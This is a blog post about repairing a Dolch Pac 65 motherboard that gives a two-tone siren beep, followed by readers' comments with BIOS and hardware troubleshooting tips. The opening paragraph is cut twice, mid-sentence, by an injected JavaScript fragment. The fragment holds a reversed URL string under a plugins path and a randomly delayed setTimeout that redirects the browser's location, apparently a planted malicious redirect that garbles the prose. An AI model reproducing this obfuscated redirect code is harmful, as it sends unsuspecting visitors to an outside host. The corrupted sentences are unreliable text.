Dolch Pac 65 – Part II: reviving the motherboard from the dead
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The motherboard of my venerable Dolch Pac 65 died during the filming of Episode I: The Dolch Menace. It’s beeping in a two-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone siren. I don’t have the schematics, so unless it’s obvious, it’s going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to feel like poking in the dark.
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Very nice repair 🙂 glad you got it working 🙂
You might want to think about replacing the caps near the mosfets, those must have gotten nice and toasty hot.
impressive trouble shooting
The pleasures of watching problems solved. So impressive watching your calm and thorough reasoning.
Going backwards…. I did that today.
i use to use and old k6 and just hot swap the chip to program it 🙂
That was a great journey. Thanks for putting the video together.
Impressive to see how you managed to find out the BIOS was misbehaving. I hope you manage to fix this awesome machine.
Great stuff! Looking forward to the next installment. Now I wanna go see if I can resurrect the Itanium system I have downstairs that had a power issue the last time I powered it up. Machine would shut off "click" after booting into windows NT and running for a few minutes.
CMOS battery?
Perhaps erase/recondition the old chip and reflash? Did you get the Wellon progger? They work pretty good.
i had an HP desktop PC with P3@733 it ended with that siren
one EZ fix is to hotswap the flash chip and program the dead one after having booted if with the good one
I vaguely remember a similar problem on some Slot 1 QDI motherboards. If there was a siren of death without POST, then there would be most likely a BIOS problem, which we hotflashed in the old days on a similar or sometimes even on a completely different motherboard with a Uniflash utility. But usually the siren just meant that the CPU wasn't making good contact or the PSU was dying with full of bulged capacitors, ahh the early 00s problems, you just don't get anything close to that nowadays.
Dang! At least the problem is fixable easily, but what a pain to get to the problem. I wonder if you could even just re-write the original chip to fix it?
Did you try reseating the presumed bad BIOS chip? Maybe after cleaning the contacts? I've had luck with that on a slightly newer board, that quad socket ain't the best.
It's a pleasure to watch you work. Thanks for sharing! Really looking forward to your next video. 🙂
Marc, You may already have access to this document, but as a fellow Dolch Pac owner I've found some time ago a User's Manual of that CI6BM Board. I can't post a link here, but google for "ci6bm10d type:pdf", it's the first search result. I hope it helps. Love your vids, especially about Dolch!
It should actually be possible to replace the 29C020 ROM with a more modern 39SF020 (which are still being manufactured). The pin-out is the same, timing is slightly better, both use 5V and they behave exactly the same for read operations. The only difference is the write procedure but the ROM doesn't get written by the computer. You could check if the write enable of the ROM is tied to 5V on the mainboard (probably is). If that's the case, just program a 39SF020 (or similar) and plug it in.
It beeps without the BIOS ROM, so the BIOS is not involved at all.. beep beep logic error 😀
like your video – keep going on.
did you check if the floppy-led will light up ? i recall that some older pc whats to restore the bios from the floppy drive if it is faulty… without any hint on the screen… the bios file must be in the root of the floppy and with its name it wants.. ok. without file and documentation a little bit hard.
That sounds like alarm system going off lots of beeping
I learned so much from this video! 🙂 My next dead motherboard will get kind of the same treatment, if I can do it with my rather small choice of equipment 😀 Greetings from Germany!